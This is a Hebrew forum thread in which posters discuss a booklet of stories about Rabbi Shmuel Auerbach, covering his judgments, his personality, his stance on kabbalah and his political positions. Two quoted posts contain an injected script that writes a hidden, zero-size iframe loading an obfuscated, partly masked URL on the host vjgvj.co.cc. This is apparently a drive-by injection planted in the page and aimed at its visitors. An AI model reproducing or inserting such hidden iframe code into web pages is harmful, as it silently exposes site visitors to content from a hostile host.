|
|
| נשלח ב-19/3/2018 16:48 |
 |
| |
והנה סיפור על אי סובלנות, ואולי אי סובלנות מוצדקת.
אברך "במעמד מיוחד בכולל" נהג לכתוב נגד "דברים בסיסיים ביותר בעיקרי האמונה". והסתיר זאת מחברי הכולל. מה עושים איתו? השואל היה מסוגל להביא לפיטוריו מהכולל בקלי קלות.
הרש"א אמר:
כל מה שמקלקל בכתביו לא יגיע לקלקול של מלחמה גלויה. - לא הסביר יותר, אבל מסתבר שאז יתעניינו רבים מה כתב ולמה זה פסול, ולו רק מסקרנות. ועוד, שיהיה חילול השם, שבין השורות יש כזו תופעה של אדם שכותב נגד דברים בסיסיים.
וזו אמירה פיקחית ביותר.
מצד שני כן הציע לסלקו ממעמדו באופן אקראי בלי שישים לב למה עשו לו זאת.
ובסופה של שמועה מסופר שהגיע לרש"א עוד מקרה כזה, ואז היה זה בן שהלשין על אביו. וזה נשמע כמו סיפורים על ברה"מ של סטאלין, שבה סיפור מכונן היה על בן שהלשין על אביו שהיה נגד סטאלין, והרג האב את הבן, וכמובן נענש, והבן זכה להחשב ל"גיבור המהפכה" וכו'. כמובן זה לא דומה, אבל התופעה של הלשנת בנים נגד האבות בשל המבוכה שהאב נגד "המקובל" דומה גם דומה.
ואם מתגברים על הסקרנות במי מדובר ומה היתה המשרה (כמה משרות כבר יש בכולל מלבד ראש הכולל עצמו), אזי תמה אני מה זה "דברים בסיסיים בעיקרי האמונה". האם הכותב תהה על עיקרים כמו מציאות אלוקים? או שמא קרא פילוסופיה ותמה אם ה' שומע תפילה? או שמא יצא לערער על "אמיתות מקובלות" כמו הקבלה. קשה יהיה לומר שסבר שאי אפשר לחכם בן הדור האחרון לחלוק על קודמיו כי כך מעידים שנהג הרש"א עצמו, אם גם תמיד הקפיד, גם לפי המסופר בקונטרס זה, להוסיף ש"דבריהם כגחלי אש".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-19/3/2018 16:53 |
|
| |
והנה קטע שאני שמח לגלות שאיני היחיד שחושב כך (וכבר כמדומה כתבתי אשכול על דמותו של הרח"ו וספרו).
יט. ראה הרש"א אצל אבי הכותב את ספר החזיונות, ואמר שלא מתאים לו (!) להחזיק כזה ספר. (איני יודע למה זה "לו" בדווקא ושמא לאו דווקא). והקשה האב שהרי הרח"ו הוא בעל כתבי האר"י. והסביר שמה שכתוב בספר מושפע מן הסביבה.
כלומר שהבין הרש"א שמה שכתוב בספר הוא אוסף הבלים.
ועוד הביא דוגמא לסיפורי שדים וכיו"ב שיש בתלמוד, והרמב"ם ששלל אותם עדיין האמין בחכמת חז"ל, וזאת מפני שאי אפשר להאשימם שהושפעו מהסביבה.
(וכן כתבתי אני פעמים אחדות כאן בפורום, וכמובן זה לא רק אני, אבל שמחתי לגלות דבר פשוט כל כך שהיום יכול להחשב לכתיבה נגד "דברים בסיסיים באמונה").
|
|
|
|
| נשלח ב-19/3/2018 16:56 |
|
| |
והנה סיפור יוצא מהכלל. הרש"א הבטיח למחבר בזמן הבר מצוה שלו (קודם הבר מצוה) שיבוא לשבת שלו, ולשם כך דחו את העליה לתורה לשבוע שאחרי.
ביקש קרוב של הרש"א שיפטרו אותו מהבטחה זו כדי שיבוא אליו. ואביו המחבר הסכים ופנה לרש"א שיחליף. אבל הרש"א סירב והזכיר לו שצריך את הסכמת הילד, והילד אינו יכול להסכים (שהרי עדיין הוא קטן).
זו רגישות יפה מאד. אם כי אין לדעת מה היו השיקולים הנוספים של הרש"א (אולי לא רצה ללכת לאותו קרוב וזו היתה אמתלה טובה? נקטתי רק דוגמא אפשרית).
כך זכורני שראיתי שסיפרו על הקהילות יעקב אבי הרח"ק שפעם גער בילד מפני שלא זיהה שיש לו סידור בבית כנסת וחשב שזה משהו אחר. ואחר כך גילה שטעה. וחיכה כמה שנים לבר מצוה שלו, ובא אז לבקש ממנו מחילה, כי קטן אינו בר מחילה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-19/3/2018 17:12 |
|
| |
שתי הערות על אישיותו שאמנם הן בדרך השערה של הכותב:
אמנם נראה לי שמי שכל חייו לקח את התורה והמצוות והמוסר באופן שמדכא את נפש האדם, יתכן שלאחר שהרג את עצמו ואת חיותו, אז אכן הפך לטכנוקרט הלכתי מוסרי, ואינו נוקף אצבע ואינו פולט מילה בלי חשבון מדוקדק (אם כי ודאי ישפוך מררתו ושלילת האדם על אחרים באופנים אחרים)...
אין אור התורה מתגלה בזה ואין התורה מתקשרת בזה לעצם החיים.
אבל אם התורה היא דבר שמשתלב בחיים של האדם ומאיר אותם ומעצים אותם, אז הנפש אכן מתעצמת, ו"אורייתא קא מרתחא ביה" ופעמים יתכן שאף יפגע מזה אדם כלשהו...
והמחבר מודה:
בין כה אין אדם צדיק בארץ אשר יעשה טוב ולא יחטא אבל טוב לנו יותר אדם גדול מאשר גדול שאינו אדם (תימצות דבריו)
דוגמא לדבר:
אף יעקב אבינו אילו נהפך לטכנוקרט מוסרי לא היתה לאה מרגישה שנואה (! )
לא הכרתיו כידוע כלל, אבל נראה שבדברים אלו יש רמיזה לחולשות אנושיות שהיו בו (הוא עצמו מזכיר שאהב ונהנה מאוכל). ויש כאן גם מעין הודאה שהיה ביקורתי בלשונו והיו שנפגעו ממנו.
יש כאן גם מחלוקת (או לכאורה?) עם מה שאומרים בשם החזו"א, שעל כל תנועה ועל כל אמירה צריך התלמיד חכם להוועץ עם כל השולחן ערוך. וכאן מי שמתנהג בצורה כזו מוצג כ"טכנוקרט מוסרי".
מעבר לשאלה על אישיותו של הרש"א ובאיזו מידה עבד על עצמו ובאיזו הצלחה, יש כאן שאלה של גישות. מה אמור האדם לעשות עם מידותיו, תאוותיו, אישיותו, באמצעות התורה שהוא לומד.
האם עליו לבחון את עצמו ואת מעשיו ומחדליו ודיבוריו ושתיקתו בכל צעד ושעל? האם עליו לרסן את דיבורו שלא יצאו ממנו שום נזק ופגיעה?
האם אפשר להשיג את היעד הזה בלי להפוך לאדם כל כך מרוסן עד שאין בו ספונטניות ואז אפשר להגדירו כטכנוקרט? האם הוא הרויח או הפסיד?
או שמא אדם ששולט בעצמו מטפס מעבר לחלוקה שמוצגת כאן והופך, בלשון החזו"א, ל"מלאך בדמות אדם"? מה שהרש"א, לפי עדות הכותב, לא היה?
אולי היה צריך לומר על הרש"א לפי הנאמר כאן "אנושי, אנושי מדי"? (ביטוי שלקוח ממקום אחר).
עד כאן נקודה ראשונה. הנקודה השניה מוזכרת בהערת שולים שם. וזו תשובה למי שכתב אצלנו "כמה רחוק נפל התפוח מהעץ, הרש"א מאביו): המערכת האחרונה היתה נגד אופיו של הרש"א ולכן גרמה לו לדום לב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-19/3/2018 17:15 |
|
| |
| מיימוני כתב: |  | והנה סיפור על אי סובלנות, ואולי אי סובלנות מוצדקת.
אברך "במעמד מיוחד בכולל" נהג לכתוב נגד "דברים בסיסיים ביותר בעיקרי האמונה". והסתיר זאת מחברי הכולל. מה עושים איתו? השואל היה מסוגל להביא לפיטוריו מהכולל בקלי קלות.
הרש"א אמר:
כל מה שמקלקל בכתביו לא יגיע לקלקול של מלחמה גלויה. - לא הסביר יותר, אבל מסתבר שאז יתעניינו רבים מה כתב ולמה זה פסול, ולו רק מסקרנות. ועוד, שיהיה חילול השם, שבין השורות יש כזו תופעה של אדם שכותב נגד דברים בסיסיים.
וזו אמירה פיקחית ביותר.
מצד שני כן הציע לסלקו ממעמדו באופן אקראי בלי שישים לב למה עשו לו זאת.
ובסופה של שמועה מסופר שהגיע לרש"א עוד מקרה כזה, ואז היה זה בן שהלשין על אביו. וזה נשמע כמו סיפורים על ברה"מ של סטאלין, שבה סיפור מכונן היה על בן שהלשין על אביו שהיה נגד סטאלין, והרג האב את הבן, וכמובן נענש, והבן זכה להחשב ל"גיבור המהפכה" וכו'. כמובן זה לא דומה, אבל התופעה של הלשנת בנים נגד האבות בשל המבוכה שהאב נגד "המקובל" דומה גם דומה.
ואם מתגברים על הסקרנות במי מדובר ומה היתה המשרה (כמה משרות כבר יש בכולל מלבד ראש הכולל עצמו), אזי תמה אני מה זה "דברים בסיסיים בעיקרי האמונה". האם הכותב תהה על עיקרים כמו מציאות אלוקים? או שמא קרא פילוסופיה ותמה אם ה' שומע תפילה? או שמא יצא לערער על "אמיתות מקובלות" כמו הקבלה. קשה יהיה לומר שסבר שאי אפשר לחכם בן הדור האחרון לחלוק על קודמיו כי כך מעידים שנהג הרש"א עצמו, אם גם תמיד הקפיד, גם לפי המסופר בקונטרס זה, להוסיף ש"דבריהם כגחלי אש".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מיימוני הקבלות על בן שקם באביו בכיוצא בזה נאמר בתורה כה אמר יקוק אלהי ישראל שימו איש חרבו על ירכו עברו ושובו משער לשער במחנה והרגו איש את אחיו ואיש את רעהו ואיש את קרבו וכן נדרש ע"י חכמים הפסוק האומר לאביו לא ראיתיו.
|
|
|
|
| נשלח ב-19/3/2018 17:15 |
|
| |
נחפזתי ולא כתבתי נקודה מעניינת מתוך הדברים. ואיני יודע של מי המשל. אני מעתיק שוב:
אף יעקב אבינו אילו נהפך לטכנוקרט מוסרי לא היתה לאה מרגישה שנואה (! )
יש כאן גם הדגמה של העקרון לפי דעת הכותב שאין אלא דיכוטומיה (מצב של או או שאין בו מצב בינים ואין בו מצב "מלמעלה") בין טכנוקרטיה של שליטה עצמית לבין להיות אדם "זורם" וטבעי. יעקב אבינו, זה שאסור למצוא בו פגם, גרם ללאה לחוש שנואה. זה אכן פשט הפסוקים, אבל כמדומה שלא יימצא כותב או רב בדורות האחרונים שיהיה מוכן להודות בזה.
זה מוסיף ומעורר את השאלה אם יעקב אבינו היה בכלל מודע לחינוך העצמי שהתורה אמורה לספק לפי החזו"א... אבל זה נושא אחר.
דומה בעיני שאהבתו של הכותב לרש"א רבו גרמה לו לכתוב - אמנם את הפשט האמיתי - בפסוקים כביקורת על יעקב ולו כדי להציל את כבוד רבו בעיני עצמו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-19/3/2018 17:17 |
|
| |
אנונימי
יפה כתבת ולא חשבתי על כך. תודה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-19/3/2018 17:18 |
|
| |
| מיימוני כתב: | | שתי הערות על אישיותו שאמנם הן בדרך השערה של הכותב:
אמנם נראה לי שמי שכל חייו לקח את התורה והמצוות והמוסר באופן שמדכא את נפש האדם, יתכן שלאחר שהרג את עצמו ואת חיותו, אז אכן הפך לטכנוקרט הלכתי מוסרי, ואינו נוקף אצבע ואינו פולט מילה בלי חשבון מדוקדק (אם כי ודאי ישפוך מררתו ושלילת האדם על אחרים באופנים אחרים)...
אין אור התורה מתגלה בזה ואין התורה מתקשרת בזה לעצם החיים.
אבל אם התורה היא דבר שמשתלב בחיים של האדם ומאיר אותם ומעצים אותם, אז הנפש אכן מתעצמת, ו"אורייתא קא מרתחא ביה" ופעמים יתכן שאף יפגע מזה אדם כלשהו...
והמחבר מודה:
בין כה אין אדם צדיק בארץ אשר יעשה טוב ולא יחטא אבל טוב לנו יותר אדם גדול מאשר גדול שאינו אדם (תימצות דבריו)
דוגמא לדבר:
אף יעקב אבינו אילו נהפך לטכנוקרט מוסרי לא היתה לאה מרגישה שנואה (! )
לא הכרתיו כידוע כלל, אבל נראה שבדברים אלו יש רמיזה לחולשות אנושיות שהיו בו (הוא עצמו מזכיר שאהב ונהנה מאוכל). ויש כאן גם מעין הודאה שהיה ביקורתי בלשונו והיו שנפגעו ממנו.
יש כאן גם מחלוקת (או לכאורה?) עם מה שאומרים בשם החזו"א, שעל כל תנועה ועל כל אמירה צריך התלמיד חכם להוועץ עם כל השולחן ערוך. וכאן מי שמתנהג בצורה כזו מוצג כ"טכנוקרט מוסרי".
מעבר לשאלה על אישיותו של הרש"א ובאיזו מידה עבד על עצמו ובאיזו הצלחה, יש כאן שאלה של גישות. מה אמור האדם לעשות עם מידותיו, תאוותיו, אישיותו, באמצעות התורה שהוא לומד.
האם עליו לבחון את עצמו ואת מעשיו ומחדליו ודיבוריו ושתיקתו בכל צעד ושעל? האם עליו לרסן את דיבורו שלא יצאו ממנו שום נזק ופגיעה?
האם אפשר להשיג את היעד הזה בלי להפוך לאדם כל כך מרוסן עד שאין בו ספונטניות ואז אפשר להגדירו כטכנוקרט? האם הוא הרויח או הפסיד?
או שמא אדם ששולט בעצמו מטפס מעבר לחלוקה שמוצגת כאן והופך, בלשון החזו"א, ל"מלאך בדמות אדם"? מה שהרש"א, לפי עדות הכותב, לא היה?
אולי היה צריך לומר על הרש"א לפי הנאמר כאן "אנושי, אנושי מדי"? (ביטוי שלקוח ממקום אחר).
עד כאן נקודה ראשונה. הנקודה השניה מוזכרת בהערת שולים שם. וזו תשובה למי שכתב אצלנו "כמה רחוק נפל התפוח מהעץ, הרש"א מאביו): המערכת האחרונה היתה נגד אופיו של הרש"א ולכן גרמה לו לדום לב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
זה נראה שהכותב מחוגו של הרש"א (אם כי לא ברור כל כך כמה) מנסה להנגיד את הרש"א מבן מחלוקתו הראיל"ש, שעפ"י הסיפורים היה בדיוק הטיפוס ההפוך וזה העומק של הסוגריים.
|
|
|
|
|
| נשלח ב-19/3/2018 20:27 |
|
| |
עדיין לא נגעו כל מותחי הקווים לדמותו בשאלה, האם כמו שאומרים בחוגי 'העדה החרדית' הוא פשוט שינה מהמסורת והלךלכיוונם, או לא.
וקשה לענות על זה כי יש ממעשיו שהיו שינוי מהדרך של קודמיו ויש שלא.
בחירות. הוא לא ראה בעיה בבחירות, אלא היתה לו בעיה ספציפית עם הנציגים.
צבא. גם כאן מבחינה פרקטית לא היתה לו שום בעיה שיש צבא ציוני הדוגל בכוחי ועוצם ידי, וכו, ושיש כאלה שהולכים לשם, אלא רק שהוא סבר שלתלמיד ישיבה זו ירידה או ביטול תורה.
קבלת כסף מהמדינה. הוא לא התנגד, אף שניסה להקים מוסדות שנקראים 'על טהרת הקודש' שלא מקבלים כסף מהמדינה.
|
|
|
|
| נשלח ב-22/3/2018 05:46 |
|
| |
"מעשה בבחור שהיה לו באוזנו חור בעור התוף. כידוע, שאין בזה משום סכנה, ורק יש להזהר מזיהומים, ולהזהר ממים, לברכה ולים יש להכנס באטמי אזניים וכו'. הרופאים הציעו לנתח את האוזן, ולפתור את הבעיה. אלא שכמו בכל ניתוח, יש אחוזי סיכון וכו'. בא הבחור לפני רבו, ר' שמואל אויערבאך, ושאל האם לעשות את הניתוח.
אין ולאו ורפיא בידיה, ולא רצה ר' שמואל להכריע בעצמו, ואמר לו לשאול גדול אחר.
וכך אמר לו: הרב אלישיב, מן הסתם לא ירצה להכנס לכל הפרטים, לך אצל חכמי בני ברק. הלך לר' חיים קנייבסקי, ששמע וענה בקצרה: שיהיה בהצלחה. [כנראה כוונתו שהניתוח יהיה בהצלחה] חזר לר' שמואל, שאמר לו: שלחתיך לבקש ברכה? שלחתיך להתייעץ! לך לר אהרן לייב. הלך לרב שטיינמן, והרצה הדברים: יש לו חור באוזן וכו'. שאלו הרב שטיינמן: מה אכפת לו בַּחוֹר? ענה לו, שיש סכנה בכניסת מים. חזר ושאלו, והרי אפשר לאטום? ענה הבחור: אבל אינני יכול ללכת למקווה. ענה הרב שטיינמן: נו! הרי אתה זָכָר! חזר לר' שמואל אויערבאך שאמר: אה! זוהי דעת תורה!"
|
|
|
|
| נשלח ב-22/3/2018 07:23 |
|
| |
ספרן
איקון ירוק
על סיפור מתוק
(מהיכן זה ומתי היה הדבר? לפני המריבה שיצרו פוליטיקאים או אחרי?)
וקצת דומה לדבר:
אמר רבי חייא בר אבא: אפי' האב ובנו, הרב ותלמידו, שעוסקין בתורה בשער אחד נעשים אויבים זה את זה, ואינם זזים משם עד שנעשים אוהבים זה את זה, שנאמר: את והב בסופה, אל תקרי בסוּפָה אלא בסוֹפָהּ. (קידושין דף ל עמוד ב) _________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-6/5/2018 08:00 |
|
| |
ספרן
איקון ירוק.
כתוב באהבה עצומה.
לא יכולתי לקרוא הכל, אפילו במהירות, אבל ניסיתי לאסוף נקודות התרשמות. האם היה בו ברב שמואל אויירבך ומה היה בו שעורר את הערצתם העמוקה של התלמידים?
הנושא המרכזי היה השבת. ונקודה אחת משכה את תשומת הלב: הפירוש שלו על "מזונותיו של אדם קצובים לו מראש פרט לשבתות וימים טובים". זו סוגיה מעניינת, שראוי לדון בה בפני עצמה, כיון שהיא נוגעת לשאלה של גזירה מראש מול מה שאפשר לכנות "עולם פתוח". האם אדם נידון בכל יום ובכל רגע או שבראש השנה (עד יום כיפור כמסתבר) נגזר על האדם מה יעלה בגורלו, כולל מזונותיו? הרש"א הציע פירוש מעניין גם ברוחניות. הצלחותיו של האדם בלימוד תורה, השגיו הדתיים, גם הם גזורים עליו מראש. לא יצליח אדם להתעלות מעבר למה שנגזר עליו בראש השנה. אבל - כפי שהוצאות שבת ויום טוב אינן נגזרות אלא תלויות באדם עצמו כל פעם מחדש, כך פתוח לפניו להתעלות בשבתות וימים טובים.
את הרעיון הזה מצא הרש"א בפירוש הגר"א על ספרא דצניעותא, כלומר בכתביו בקבלה. אלא שרצה להסתיר את לימודו בתחום. במקום אחר מסופר כיצד עמד על כסא ליד אור קלוש במטבחו, לאחר שקפץ החשמל, כדי ללמוד ללא הפסקה - וגם שם זה היה באותו ספר. יש כאן מסירות ומאמץ ללימוד, שמכוונים למה שנחשב בדורות האחרונים ל"תורת הסוד" (דעתי השלילית על נושאים אלו ידועה היטב).
יש גם להתפעל מן התלמידים שניסו לברר ככל האפשר את מקור הרעיון שהשמיע להם הרש"א, עד כדי כך שפנו לרב שלמה זילברמן (נדמה לי שיש לו אשכול ואם לא אז מגיע לו). מי שרוצה להתחבר לרבו צריך להשקיע ולהתאמץ.
אבל
שאר הסיפורים לא היה בהם כמעט מאומה. הרבה הצהרות על הרושם העצום שנחרט בהם, אלא שהקורא שאינו מכיר תמה: האם באמת היו כאן חוויות מיוחדות או שהתלמידים פשוט הסתפקו במה שהיה, אולי בגלל שאצל רוב הבריות ואפילו הלומדים יש פחות מזה?
ומכאן לשאלה, שכבר העליתי בעבר, אלו דגמים של עליה מציעה היהדות החרדית והליטאית-ישיבתית בת זמננו למי שרוצה להיות בן-עליה?
צרם לי לקרוא על הרש"א שראה את תלמידו מחזיק את אצבעותיו בזקנו עד שבאמצע התפילה רמז לו שיוציא את האצבעות לבל יתלוש. נכון שיש סיפור על הזהירות מתלישת שערות שלא מדעת אודות האר"י. אבל גם שם יש לתמוה. הלא מי שעלול לתלוש באופן זה, שהוא מסופק, לכל היותר יהיה בגדר "מתעסק" (גורם לתוצאה שלא מדעת ולכן אין כאן אפילו גרמא). יש אמנם מחלוקת בין האחרונים אם המתעסק הוא עבריין באופן כלשהו אלא שפטרתהו תורה ואם יש חובה להוכיח את המתעסק. ועדיין דומה שמי שאכפת לו מאחרים ומתריע מפני היות האחר מתעסק, היה ראוי שימצא תחומים אחרים להשקיע בהם את דאגתו ואת לבו הטוב. כך זה בעיני לפחות. אמנם נכון שסיפרו עליו על הרש"א שהיה משקיע בחסד ובמתן כספי לנצרכים, וזה ראוי מאד.
בקונטרס, שמכיל עמודים רבים, יש דמות של רב בן זמננו שאמור להיות מושא להתפעלות ולחיקוי וללימוד. לצערי, אולי עקב חסרונותי האישיים - ואולי עקב הכרותי עם דגמים עשירים יותר ורחבי אופקים יותר - לא מצאתי הרבה מעבר לאהבה העצומה שרחשו התלמידים הכותבים לרבם. וזה כמובן דבר שאינו של מה בכך, רב שמסוגל לעורר אצל תלמידיו אהבה והערכה עמוקות כל כך.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-15/5/2018 23:55 |
|
| |
טוב מאוחר מאשר לעולם לא.
קיבלתי בתיבה האישית וגם אישור לפרסם. לא הבנתי אם זה כולל את ניקו של הכותב אז אני משאיר את זה בעילום ניק בינתים.
מעניין מאד: מידע אישי שונה ממה שחושבים על המהרש"א (-הרב שמואל אויירבך).
זכיתי להיות קצת בקשר עם הרב שמואל אוירבך, (אע"פ שאני בדעה קצת אחרת ממנו בעניין הגיוס) ופלא שראיתי, שכשאנשים שאלו אותו על תארים, הוא כמעט תמיד היה בעד. (לא שמעו אותו מדבר נגד האקדמיה). רק נגד הצבא. למשל אחת ששאלה אותו על לעשות תואר לפסיכולוגיה באוניברסיטה, והוא הרשה לה. אפילו שמבחינת הציבור החרדי יש בזה שלש עבירות. 1. תואר 2. פסיכולוגיה 3.באוניברסיטה אני לא יודע למה הוא נלחם נגד הצבא כל כך, אבל מצומצם וסגור הוא מעולם לא היה. הוא הכיר את כל העולם ואשתו. הכיר אנשים ידע פוליטיקה, ידע הרבה. וכן שמתי לב שהיו כמה כתבות שדיברו על זה שאביו היה מאיר פנים מאוד. (וכאילו כתבו שהוא ההפך פילג את כולם) ומשתמע שהוא לא היה מאיר פנים. והאמת שמי שמכיר אותו יודע שהוא היה מאוד מאיר פנים ושוב אני לא נכנס לעניין של הצבא ואני לא יודע למה הוא פילג את הציבור בשביל זה. (ואני גם אין דעתי כמוהו בזה)
אבל אני מדגיש שהוא היה אדם מאוד פתוח, וחכם, ומבין, ולא פנאטי כמו שהוא מצטייר. והוא היה מאוד מאיר פנים, ולא תוקפני ולוחמני כמו שמצטייר
|
|
|
|
|
| נשלח ב-17/5/2018 09:32 |
|
| |
מה שלא הבנתי בסיפור זה למה הוא ז"ל?
|
|
|
|
|
